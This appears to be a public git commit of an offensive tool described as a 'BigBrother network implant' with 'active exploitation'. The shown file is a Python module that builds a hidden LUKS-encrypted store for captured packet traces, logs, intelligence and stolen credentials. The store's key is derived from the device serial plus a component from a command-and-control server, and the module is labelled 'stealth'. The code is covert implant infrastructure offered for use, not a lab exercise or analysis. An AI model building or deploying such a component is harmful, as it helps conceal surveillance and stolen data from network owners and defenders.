Initial public release
Full BigBrother network implant - passive SOC + active exploitation. Personal identifiers removed; all capabilities intact. See README.md for setup and docs/deployment.md for detailed deployment.
This commit is contained in:
@@ -0,0 +1,296 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Encrypted storage module — LUKS container for all persistent data.
|
||||
|
||||
Manages a LUKS2 encrypted container for PCAPs, logs, credentials, and
|
||||
intelligence data. Key derivation attempts a network-derived key first
|
||||
(HKDF with CPU serial + C2-fetched component), falling back to a config
|
||||
passphrase if C2 is unreachable.
|
||||
"""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import shutil
|
||||
import subprocess
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
from utils.crypto import LUKSContainer, derive_network_key
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Subdirectories created inside the mounted LUKS container
|
||||
STORAGE_SUBDIRS = ("pcaps", "logs", "baseline", "intel", "credentials", "config")
|
||||
|
||||
|
||||
class EncryptedStorage(BaseModule):
|
||||
"""LUKS encrypted storage with network-derived key unlock."""
|
||||
|
||||
name = "encrypted_storage"
|
||||
module_type = "stealth"
|
||||
priority = -500 # Highest — other modules depend on storage
|
||||
requires_root = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._luks: Optional[LUKSContainer] = None
|
||||
self._mounted = False
|
||||
self._storage_path: Optional[str] = None
|
||||
self._container_path: Optional[str] = None
|
||||
self._passphrase: Optional[bytes] = None
|
||||
self._using_fallback_key = False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
install_path = self.config.get("device", {}).get("install_path", "/opt/.cache/bb")
|
||||
self._storage_path = os.path.join(install_path, "storage")
|
||||
|
||||
container_rel = self.config.get("security", {}).get(
|
||||
"luks_container", "storage/encrypted.luks"
|
||||
)
|
||||
self._container_path = os.path.join(install_path, container_rel)
|
||||
|
||||
# Derive passphrase
|
||||
self._passphrase = self._derive_passphrase()
|
||||
|
||||
# Initialize LUKS container
|
||||
mapper_name = "bb_storage"
|
||||
self._luks = LUKSContainer(
|
||||
container_path=self._container_path,
|
||||
mount_point=self._storage_path,
|
||||
mapper_name=mapper_name,
|
||||
)
|
||||
|
||||
# Create container if it doesn't exist
|
||||
if not os.path.isfile(self._container_path):
|
||||
logger.info("Creating new LUKS container at %s", self._container_path)
|
||||
os.makedirs(os.path.dirname(self._container_path), exist_ok=True)
|
||||
size_mb = self._get_container_size()
|
||||
if not self._luks.create(size_mb, self._passphrase):
|
||||
logger.error("Failed to create LUKS container")
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
# Format the filesystem inside the container
|
||||
if not self._format_filesystem():
|
||||
logger.error("Failed to format LUKS filesystem")
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
# Open and mount
|
||||
if not self._luks.is_open:
|
||||
if not self._luks.open(self._passphrase):
|
||||
logger.error("Failed to open LUKS container — wrong key?")
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
self._mounted = True
|
||||
|
||||
# Create subdirectories
|
||||
self._create_subdirs()
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
self.state.set_module_status(self.name, "running", pid=os.getpid())
|
||||
|
||||
key_type = "fallback" if self._using_fallback_key else "network-derived"
|
||||
logger.info(
|
||||
"EncryptedStorage mounted at %s (key: %s)",
|
||||
self._storage_path, key_type,
|
||||
)
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
# Sync filesystem
|
||||
try:
|
||||
subprocess.run(["sync"], capture_output=True, timeout=10)
|
||||
except subprocess.SubprocessError:
|
||||
pass
|
||||
|
||||
# Unmount and close LUKS
|
||||
if self._luks and self._luks.is_open:
|
||||
if not self._luks.close():
|
||||
logger.warning("Failed to cleanly close LUKS container")
|
||||
|
||||
self._mounted = False
|
||||
self._running = False
|
||||
|
||||
# Scrub passphrase from memory (best effort)
|
||||
if self._passphrase:
|
||||
self._passphrase = b"\x00" * len(self._passphrase)
|
||||
self._passphrase = None
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("EncryptedStorage unmounted and closed")
|
||||
|
||||
def status(self) -> dict:
|
||||
result = {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"mounted": self._mounted,
|
||||
"using_fallback_key": self._using_fallback_key,
|
||||
}
|
||||
|
||||
if self._mounted and self._storage_path:
|
||||
try:
|
||||
stat = os.statvfs(self._storage_path)
|
||||
total = stat.f_blocks * stat.f_frsize
|
||||
free = stat.f_bavail * stat.f_frsize
|
||||
used = total - free
|
||||
result["container_size_mb"] = total / (1024 * 1024)
|
||||
result["used_mb"] = used / (1024 * 1024)
|
||||
result["free_mb"] = free / (1024 * 1024)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
return result
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public API
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def get_storage_path(self) -> Optional[str]:
|
||||
"""Return the mount point for the encrypted storage, or None if not mounted."""
|
||||
return self._storage_path if self._mounted else None
|
||||
|
||||
def get_subdir(self, name: str) -> Optional[str]:
|
||||
"""Return the path to a named subdirectory inside encrypted storage."""
|
||||
if not self._mounted or not self._storage_path:
|
||||
return None
|
||||
path = os.path.join(self._storage_path, name)
|
||||
return path if os.path.isdir(path) else None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Key derivation
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _derive_passphrase(self) -> bytes:
|
||||
"""Attempt network-derived key first, then fall back to config passphrase."""
|
||||
# Try network-derived key: HKDF(CPU serial + C2 component)
|
||||
cpu_serial = self._get_cpu_serial()
|
||||
c2_component = self._fetch_c2_key_component()
|
||||
|
||||
if c2_component:
|
||||
try:
|
||||
key = derive_network_key(
|
||||
network_secret=c2_component,
|
||||
device_serial=cpu_serial,
|
||||
)
|
||||
self._using_fallback_key = False
|
||||
logger.debug("Using network-derived LUKS key")
|
||||
return key
|
||||
except Exception as exc:
|
||||
logger.warning("Network key derivation failed: %s", exc)
|
||||
|
||||
# Fallback: use a config-based passphrase
|
||||
self._using_fallback_key = True
|
||||
logger.info("C2 unreachable — using fallback LUKS key")
|
||||
|
||||
# Derive from CPU serial + static salt (still better than plaintext)
|
||||
fallback_salt = b"bb-fallback-luks-key-v1"
|
||||
import hashlib
|
||||
return hashlib.pbkdf2_hmac("sha256", cpu_serial, fallback_salt, 100_000)
|
||||
|
||||
def _get_cpu_serial(self) -> bytes:
|
||||
"""Read CPU serial from /proc/cpuinfo or /sys/firmware/devicetree."""
|
||||
# Try /proc/cpuinfo Serial field (RPi, OPi)
|
||||
try:
|
||||
with open("/proc/cpuinfo", "r") as f:
|
||||
for line in f:
|
||||
if line.strip().startswith("Serial"):
|
||||
serial = line.split(":", 1)[1].strip()
|
||||
return serial.encode("utf-8")
|
||||
except (IOError, IndexError):
|
||||
pass
|
||||
|
||||
# Try machine-id as fallback
|
||||
try:
|
||||
with open("/etc/machine-id", "r") as f:
|
||||
return f.read().strip().encode("utf-8")
|
||||
except IOError:
|
||||
pass
|
||||
|
||||
# Last resort: hostname-based
|
||||
import socket
|
||||
return socket.gethostname().encode("utf-8")
|
||||
|
||||
def _fetch_c2_key_component(self) -> Optional[bytes]:
|
||||
"""Attempt to fetch the key component from C2.
|
||||
|
||||
Returns None if C2 is unreachable. The actual C2 client
|
||||
will be provided by the connectivity module.
|
||||
"""
|
||||
# TODO: implement actual C2 key fetch via connectivity module
|
||||
# For now, check if a pre-staged key file exists (deployed with implant)
|
||||
key_paths = [
|
||||
"/opt/.cache/bb/config/luks_network_key",
|
||||
os.path.expanduser("~/.implant/luks_network_key"),
|
||||
]
|
||||
for path in key_paths:
|
||||
try:
|
||||
if os.path.isfile(path):
|
||||
with open(path, "rb") as f:
|
||||
data = f.read(64)
|
||||
if data:
|
||||
return data
|
||||
except (IOError, PermissionError):
|
||||
pass
|
||||
|
||||
return None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Container setup
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _get_container_size(self) -> int:
|
||||
"""Determine LUKS container size in MB based on available disk."""
|
||||
try:
|
||||
stat = os.statvfs(os.path.dirname(self._container_path))
|
||||
free_mb = (stat.f_bavail * stat.f_frsize) / (1024 * 1024)
|
||||
# Use 70% of free space, max 8GB, min 256MB
|
||||
size = int(free_mb * 0.7)
|
||||
return max(256, min(size, 8192))
|
||||
except OSError:
|
||||
return 1024 # Default 1GB
|
||||
|
||||
def _format_filesystem(self) -> bool:
|
||||
"""Open the container and format it with ext4."""
|
||||
try:
|
||||
# Open LUKS to get the mapper device
|
||||
if not self._luks.open(self._passphrase):
|
||||
return False
|
||||
|
||||
# Format with ext4 (no journal for SBC — reduce writes)
|
||||
subprocess.run(
|
||||
["mkfs.ext4", "-O", "^has_journal", "-q", self._luks.device_path],
|
||||
check=True, capture_output=True,
|
||||
)
|
||||
|
||||
# Close — will be reopened in start()
|
||||
self._luks.close()
|
||||
return True
|
||||
except subprocess.CalledProcessError as exc:
|
||||
logger.error("mkfs.ext4 failed: %s", exc)
|
||||
return False
|
||||
|
||||
def _create_subdirs(self) -> None:
|
||||
"""Create standard subdirectories inside the mounted storage."""
|
||||
for subdir in STORAGE_SUBDIRS:
|
||||
path = os.path.join(self._storage_path, subdir)
|
||||
os.makedirs(path, exist_ok=True)
|
||||
logger.debug("Storage subdirectories created: %s", ", ".join(STORAGE_SUBDIRS))
|
||||
Reference in New Issue
Block a user